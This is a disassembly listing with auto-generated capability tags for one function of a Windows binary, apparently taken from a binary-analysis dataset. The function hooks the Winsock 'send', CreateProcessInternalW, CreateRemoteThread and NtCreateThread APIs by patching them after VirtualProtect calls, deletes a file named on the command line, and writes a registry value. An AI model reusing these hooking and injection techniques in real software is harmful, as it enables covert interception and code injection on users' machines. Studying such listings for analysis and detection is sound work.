Function at 0x42bfb0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Check if file exists
Create thread
Delete file
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Initialize winsock library
Link many functions at runtime
Set current directory
Set file attributes
Set registry value
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x553183
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xce4
push ebx
push esi
push edi
mov esi, ecx
call fcn.0041c210
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x427080
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
push 0x426f90
call dword [sym.imp.USER32.dll_EnumWindows]
lea eax, [ebp - 0x1ec]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, dword [ebp - 0x1ec]
cmp al, 2
jne 0x42c020
shr eax, 8
cmp al, 2
je 0x42c026
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [ebp - 0x30]
push ecx
mov dword [ebp - 0x30], ebx
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 0x30], 2
mov edi, eax
jl 0x42c076
mov ebx, dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
jmp 0x42c050
mov edx, dword [edi + 4]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x42c074
mov eax, dword [edi + 4]
push 0
push eax
call ebx
mov ecx, dword [edi + 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
test eax, eax
je 0x42c050
xor ebx, ebx
cmp dword [ebp - 0x30], 3
mov dword [ebp - 0x28], ebx
jne 0x42c097
mov edx, dword [edi + 8]
push edx
call fcn.0052fda9
add esp, 4
cmp eax, 3
jne 0x42c097
mov dword [ebp - 0x28], 1
push str.send
mov dword [esi + 0x848], ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
push str.ws2_32.dll
call ebx
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push eax
call edi
mov dword [0x5c104c], eax
mov dword [0x5c2084], eax
cmp byte [eax], 0xe9
jne 0x42c12d
push 5
push 0x5c2074
push str.send
push str.ws2_32.dll
call fcn.00420180
mov ecx, dword [0x5c104c]
add esp, 0x10
lea eax, [ebp - 0x10]
push eax
push 0x40
push 5
push ecx
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
mov edx, dword [0x5c2074]
mov eax, dword [0x5c104c]
mov dword [eax], edx
mov cl, byte [0x5c2078]
mov edx, dword [0x5c104c]
mov byte [edx + 4], cl
mov ecx, dword [ebp - 0x10]
mov edx, dword [0x5c104c]
lea eax, [ebp - 0x10]
push eax
push ecx
push 5
push edx
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
mov eax, dword [0x5c104c]
cmp eax, 2
jbe 0x42c16f
call fcn.0054ce80
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
push eax
call fcn.0054d6d0
push 0x426320
push 0x5c104c
call fcn.0054d790
call fcn.0054d0e0
mov eax, dword [0x5c2084]
mov ecx, dword [eax]
mov dword [0x5c207c], ecx
mov dx, word [eax + 4]
mov word [0x5c2080], dx
mov eax, dword [esi + 0x20]
push 0
push 0x64
push 0x378
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push str.CreateProcess
lea ecx, [ebp - 0x20]
call fcn.0040bc20
mov dword [ebp - 4], 0
call fcn.0041fd40
test eax, eax
jne 0x42c1b3
push eax
push eax
push 0x5684d8
call fcn.004374a6
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push 8
push 0x5684c0
lea ecx, [ebp - 0x20]
call fcn.00407fc0
push 1
push 0x5684bc
lea ecx, [ebp - 0x20]
call fcn.00407fc0
mov ecx, dword [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x18]
call fcn.00404560
push str.kernelbase.dll
mov byte [ebp - 4], 1
call ebx
push 0x567490
mov dword [ebp - 0x1c], eax
call ebx
mov edx, dword [ebp - 0x18]
mov ebx, eax
mov dword [ebp - 0x14], 0
mov ecx, dword [edx - 8]
mov eax, 1
sub eax, dword [edx - 4]
mov dword [ebp - 0x10], ebx
or ecx, eax
jge 0x42c21d
push 0
lea ecx, [ebp - 0x18]
call fcn.00403d90
mov edx, dword [ebp - 0x18]
push edx
push ebx
call edi
mov ebx, eax
test ebx, ebx
je 0x42c22c
cmp byte [ebx], 0x68
je 0x42c254
mov edx, dword [ebp - 0x18]
mov ecx, dword [edx - 8]
mov eax, 1
sub eax, dword [edx - 4]
or ecx, eax
jge 0x42c24b
push 0
lea ecx, [ebp - 0x18]
call fcn.00403d90
mov edx, dword [ebp - 0x18]
push edx
mov edx, dword [ebp - 0x1c]
push edx
call edi
mov ebx, eax
xor eax, eax
mov dword [ebp - 0x3b], eax
mov dword [ebp - 0x37], eax
mov byte [ebp - 0x33], al
push 0xa
lea eax, [ebp - 0x3c]
push eax
push str.CreateProcessInternalW
push 0x56754c
mov byte [ebp - 0x3c], 0
call fcn.00420180
add esp, 0x10
test eax, eax
je 0x42c29d
cmp byte [ebp - 0x3c], 0x68
je 0x42c29d
push 0xa
lea ecx, [ebp - 0x3c]
push ecx
push str.CreateProcessInternalW
push str.KernelBase.dll
call fcn.00420180
add esp, 0x10
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0xa
lea edx, [ebx + 0xa]
push fcn.0041fb30
mov dword [0x5c10a0], edx
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
push 0xa
push ebx
push fcn.0041fb30
call fcn.005306e0
mov edx, dword [ebp - 0x14]
mov ebx, dword [sym.imp.KERNEL32.DLL_VirtualProtect]
add esp, 0xc
lea ecx, [ebp - 0x14]
push ecx
push edx
push 0xa
push fcn.0041fb30
call ebx
mov eax, dword [ebp - 0x1c]
push str.CreateRemoteThreadEx
push eax
call edi
mov dword [0x5c10a4], eax
test eax, eax
jne 0x42c362
mov ecx, dword [ebp - 0x10]
push str.CreateRemoteThreadEx
push ecx
call edi
mov dword [0x5c10a4], eax
test eax, eax
jne 0x42c362
mov edx, dword [ebp - 0x1c]
push str.CreateRemoteThread
push edx
call edi
mov dword [0x5c10a4], eax
test eax, eax
jne 0x42c32c
mov eax, dword [ebp - 0x10]
push str.CreateRemoteThread
push eax
call edi
mov dword [0x5c10a4], eax
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push 0xa
push 0x41fb50
call ebx
mov edx, dword [0x5c10a4]
push 0xa
push edx
push 0x41fb50
call fcn.005306e0
mov ecx, dword [ebp - 0x14]
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push ecx
push 0xa
push 0x41fb50
jmp 0x42c39f
lea edx, [ebp - 0x14]
push edx
push 0x40
push 0xa
push 0x41fb60
mov dword [0x5c1050], 1
call ebx
mov eax, dword [0x5c10a4]
push 0xa
push eax
push 0x41fb60
call fcn.005306e0
mov edx, dword [ebp - 0x14]
add esp, 0xc
lea ecx, [ebp - 0x14]
push ecx
push edx
push 0xa
push 0x41fb60
call ebx
add dword [0x5c10a4], 0xa
call fcn.00420020
push str.Ntdll.dll
mov dword [0x5c1010], esi
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
push str.NtCreateThread
push eax
call edi
mov dword [0x5c2070], eax
test eax, eax
je 0x42c3f4
call fcn.0054ce80
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
push eax
call fcn.0054d6d0
push 0x41ff40
push 0x5c2070
call fcn.0054d790
call fcn.0054d0e0
lea eax, [ebp - 0x44]
push eax
push 0x18
lea ecx, [ebp - 0x5c]
push ecx
push 0
mov dword [ebp - 0x44], 0
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call sub.ntdll.dll_ZwQueryInformationProcess
test eax, eax
jne 0x42c442
mov edx, dword [ebp - 0x48]
push edx
mov ecx, esi
call fcn.004209a0
test eax, eax
jne 0x42c442
push eax
push eax
push eax
push 0x420170
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x42c974
call fcn.00420020
mov ecx, dword [esi + 0x660]
push 0
push 0
push 0x409
push ecx
call dword [sym.imp.USER32.dll_PostMessageW]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov eax, dword [esi + 0x850]
mov edx, dword [esi + 0x20]
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
push eax
push 1
push 0x80
push edx
call edi
mov eax, dword [esi + 0x850]
push eax
mov eax, dword [esi + 0x20]
push 0
push 0x80
push eax
call edi
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [ebp - 0xcee]
push edx
mov word [ebp - 0xcf0], cx
call fcn.0052ea80
add esp, 0xc
push 0x400
lea eax, [ebp - 0xcf0]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea eax, [ebp - 0xcf0]
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x42c4d0
sub eax, edx
sar eax, 1
push eax
lea ecx, [ebp - 0xcf0]
push ecx
lea ecx, [esi + 0x844]
call fcn.00403ee0
lea edx, [ebp - 0x24]
push edx
push 0xf003f
push 0
push 0x564350
push SysReAllocString
mov dword [ebp - 0x24], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x42c52c
lea eax, [ebp - 0x24]
push eax
push 0x564350
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov ecx, dword [ebp - 0x24]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test ecx, ecx
je 0x42c54e
mov eax, dword [esi + 0x844]
push 0x10
push 0x56433c
push 1
push 0
push eax
push ecx
call edi
mov eax, dword [esi + 0x844]
push 0x5c
push eax
call fcn.0052ee0e
add esp, 8
test eax, eax
jne 0x42c568
or eax, 0xffffffff
jmp 0x42c570
sub eax, dword [esi + 0x844]
sar eax, 1
push eax
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [esi + 0x844]
call fcn.00407a40
push 0xd
push str.BxClient.dat
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.00407fc0
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x42c5b6
mov edx, dword [ebp - 0x10]
push 0x10
push 0x56433c
push 1
push 0
push edx
push eax
call edi
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esi + 0x20]
push 0x800a0000
push 0xfffffffffffffff0
push ecx
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0
mov ecx, esi
call fcn.004326cf
mov edx, dword [esi + 0x6d4]
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
push 0xf0f0
push 0
push 0x111e
push edx
call edi
mov eax, dword [esi + 0x6d4]
push 0
push 0
push 0x111d
push eax
call edi
mov ecx, esi
call fcn.00428a30
test eax, eax
jne 0x42c61c
push eax
push eax
push 0x568400
call fcn.004374a6
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov ecx, dword [0x5c20a8]
push ecx
mov ecx, esi
call fcn.0042f9bd
push 1
push 1
push 0x5634f8
push str.BtnMini
lea ecx, [esi + 0x280]
call fcn.0041def0
push 1
push 1
push 0x5634f8
push str.BtnClose
lea ecx, [esi + 0x1c0]
call fcn.0041def0
push 0x5634f8
push str.CHECKBOX2
push str.CHECKBOX1
lea ecx, [esi + 0x860]
call fcn.0041e810
push 0xffffff
lea ecx, [esi + 0x860]
call fcn.0041e5c0
push 0x5634f8
push str.CHECKBOX2
push str.CHECKBOX1
lea ecx, [esi + 0x938]
call fcn.0041e810
push 0xff33
lea ecx, [esi + 0x938]
call fcn.0041e5c0
push 0x5634f8
push str.CHECKBOX2
push str.CHECKBOX1
lea ecx, [esi + 0xa10]
call fcn.0041e810
push 0xffffff
lea ecx, [esi + 0xa10]
call fcn.0041e5c0
push 1
lea ecx, [esi + 0xa10]
call fcn.0041edb0
push 0x5634f8
push str.CHECKBOX2
push str.CHECKBOX1
lea ecx, [esi + 0xae8]
call fcn.0041e810
push 0xffffff
lea ecx, [esi + 0xae8]
call fcn.0041e5c0
push 0
mov ecx, esi
call fcn.004326cf
push 6
mov ecx, esi
call fcn.0042fa88
mov eax, dword [esi + 0x844]
push 0x5c
push eax
call fcn.0052ee0e
add esp, 8
test eax, eax
jne 0x42c73d
or eax, 0xffffffff
jmp 0x42c745
sub eax, dword [esi + 0x844]
sar eax, 1
push eax
lea edx, [ebp - 0x1c]
push edx
lea ecx, [esi + 0x844]
call fcn.00407a40
mov ebx, dword [ebp - 0x1c]
push ebx
mov byte [ebp - 4], 3
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryW]
cmp dword [ebp - 0x28], 0
jne 0x42c7a5
mov eax, dword [ebx - 0xc]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00403ea0
mov ecx, eax
call fcn.00411770
test eax, eax
jne 0x42c7a2
push eax
lea ecx, [ebp - 0x4f0]
call fcn.00410f90
lea ecx, [ebp - 0x4f0]
mov byte [ebp - 4], 4
call fcn.0042e090
push 0
call fcn.0053006a
mov ebx, dword [ebp - 0x1c]
mov ecx, esi
call fcn.00426d80
call fcn.00420020
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
je 0x42c7c8
push 9
mov ecx, esi
call fcn.0042fa88
mov ecx, dword [esi + 0x20]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov edx, dword [0x5c2094]
push edx
lea ecx, [ebp - 0x2c]
call fcn.00404560
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx - 8]
mov eax, 1
sub eax, dword [ecx - 4]
mov byte [ebp - 4], 5
or edx, eax
jge 0x42c804
push 0
lea ecx, [ebp - 0x2c]
call fcn.00403d90
mov ecx, dword [ebp - 0x2c]
lea eax, [ebp - 0x40]
push eax
call fcn.00428ff0
add esp, 4
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 6
call fcn.00423d90
lea ecx, [esi + 0xf0]
push eax
mov byte [ebp - 4], 7
call fcn.00408180
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff0
mov byte [ebp - 4], 6
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x42c852
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x40]
add eax, 0xfffffff0
mov byte [ebp - 4], 5
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x42c875
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x5683ac
lea ecx, [esi + 0xf4]
call fcn.00404670
mov ecx, dword [esi + 0x20]
mov edi, dword [sym.imp.USER32.dll_SetTimer]
push 0
push 0x1388
push 0
push ecx
mov dword [esi + 0xfc], 0
call edi
push 0
push 0
push esi
push 0x429320
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [esi + 0x830], eax
call fcn.0041fb70
mov edx, dword [esi + 0x20]
push 0
push 0x493e0
push 0x6f
push edx
call edi
push 0
call fcn.0052f871
push eax
call fcn.0052fdb4
add esp, 8
call fcn.00420020
push 0
push 0x80000
push 0
mov ecx, esi
call fcn.0042f965
push 0
push 0x20000
push 0
mov ecx, esi
call fcn.0042f965
mov ecx, esi
call fcn.0041bbd0
mov eax, dword [ebp - 0x2c]
add eax, 0xfffffff0
mov byte [ebp - 4], 3
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x42c931
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [ebx - 0x10]
mov byte [ebp - 4], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x42c951
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
mov byte [ebp - 4], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x42c974
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
mov byte [ebp - 4], 0
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x42c997
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
mov dword [ebp - 4], edx
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x42c9b9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret